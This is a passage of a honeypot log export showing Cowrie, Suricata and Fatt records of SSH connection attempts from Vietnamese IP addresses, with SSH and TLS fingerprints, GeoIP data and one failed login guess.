"hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "19233e3e5185", "@version": "1", "timestamp": "2021-09-20T11:15:25.033382Z", "@timestamp": "2021-09-20T11:15:25.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27758	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:25.595003+03	2021-09-20 14:30:01.884523+03	{"_id": "KwbqAnwBvYTbRNuE-Co2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51212 (192.168.176.2:22) [session: 49d8477a128b]", "session": "49d8477a128b", "@version": "1", "protocol": "ssh", "src_port": 51212, "dest_port": 22, "timestamp": "2021-09-20T11:15:25.595003Z", "@timestamp": "2021-09-20T11:15:25.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27759	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:25.604266+03	2021-09-20 14:30:01.885524+03	{"_id": "KgbqAnwBvYTbRNuE-Co2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "49d8477a128b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:25.604266Z", "@timestamp": "2021-09-20T11:15:25.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27760	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:26.088653+03	2021-09-20 14:30:01.888524+03	{"_id": "NAbqAnwBvYTbRNuE-ioV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1209949955627675, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48450, "dest_port": 22, "timestamp": "2021-09-20T11:15:26.088653Z", "@timestamp": "2021-09-20T11:15:26.088Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27761	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:26.104611+03	2021-09-20 14:30:01.889524+03	{"_id": "OgbqAnwBvYTbRNuE-ypV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48450, "dest_port": 22, "timestamp": "2021-09-20T11:15:26.104611", "@timestamp": "2021-09-20T11:15:26.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27762	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:25.809218+03	2021-09-20 14:30:01.890523+03	{"_id": "PwbqAnwBvYTbRNuE_Coa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48450 (192.168.176.2:22) [session: 8fc810a53adb]", "session": "8fc810a53adb", "@version": "1", "protocol": "ssh", "src_port": 48450, "dest_port": 22, "timestamp": "2021-09-20T11:15:25.809218Z", "@timestamp": "2021-09-20T11:15:25.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27763	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:25.812124+03	2021-09-20 14:30:01.892524+03	{"_id": "QAbqAnwBvYTbRNuE_Coa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8fc810a53adb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:25.812124Z", "@timestamp": "2021-09-20T11:15:25.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27766	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:28.087029+03	2021-09-20 14:30:01.895524+03	{"_id": "TwbrAnwBvYTbRNuEAyoo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34978, "dest_port": 443, "timestamp": "2021-09-20T11:15:28.087029", "@timestamp": "2021-09-20T11:15:28.087Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27767	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:15:27.404826+03	2021-09-20 14:30:01.897524+03	{"_id": "TgbrAnwBvYTbRNuEAyoo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34976, "timestamp": "2021-09-20T11:15:27.404826", "@timestamp": "2021-09-20T11:15:27.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27768	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:28.691638+03	2021-09-20 14:30:01.898523+03	{"_id": "UQbrAnwBvYTbRNuEAyru", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36710 (192.168.176.2:22) [session: c05db1dbd4e1]", "session": "c05db1dbd4e1", "@version": "1", "protocol": "ssh", "src_port": 36710, "dest_port": 22, "timestamp": "2021-09-20T11:15:28.691638Z", "@timestamp": "2021-09-20T11:15:28.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27769	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:27.983593+03	2021-09-20 14:30:01.900523+03	{"_id": "UgbrAnwBvYTbRNuEAyru", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "19233e3e5185", "@version": "1", "duration": 3.2881603240966797, "timestamp": "2021-09-20T11:15:27.983593Z", "@timestamp": "2021-09-20T11:15:27.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27770	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:28.694687+03	2021-09-20 14:30:01.901524+03	{"_id": "UwbrAnwBvYTbRNuEAyru", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c05db1dbd4e1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:28.694687Z", "@timestamp": "2021-09-20T11:15:28.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27771	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:28.509953+03	2021-09-20 14:30:01.902523+03	{"_id": "ZAbrAnwBvYTbRNuEAyrx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8fc810a53adb", "@version": "1", "duration": 2.698115348815918, "timestamp": "2021-09-20T11:15:28.509953Z", "@timestamp": "2021-09-20T11:15:28.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27772	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:28.650657+03	2021-09-20 14:30:01.903526+03	{"_id": "ZQbrAnwBvYTbRNuEAyrx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/QWEasdQWE] failed", "session": "49d8477a128b", "@version": "1", "password": "QWEasdQWE", "username": "admin", "timestamp": "2021-09-20T11:15:28.650657Z", "@timestamp": "2021-09-20T11:15:28.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27773	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:28.969322+03	2021-09-20 14:30:01.904524+03	{"_id": "aAbrAnwBvYTbRNuEBSrR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1841509864328876, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36710, "dest_port": 22, "timestamp": "2021-09-20T11:15:28.969322Z", "@timestamp": "2021-09-20T11:15:28.969Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27774	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:29.223631+03	2021-09-20 14:30:01.906523+03	{"_id": "agbrAnwBvYTbRNuEByoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 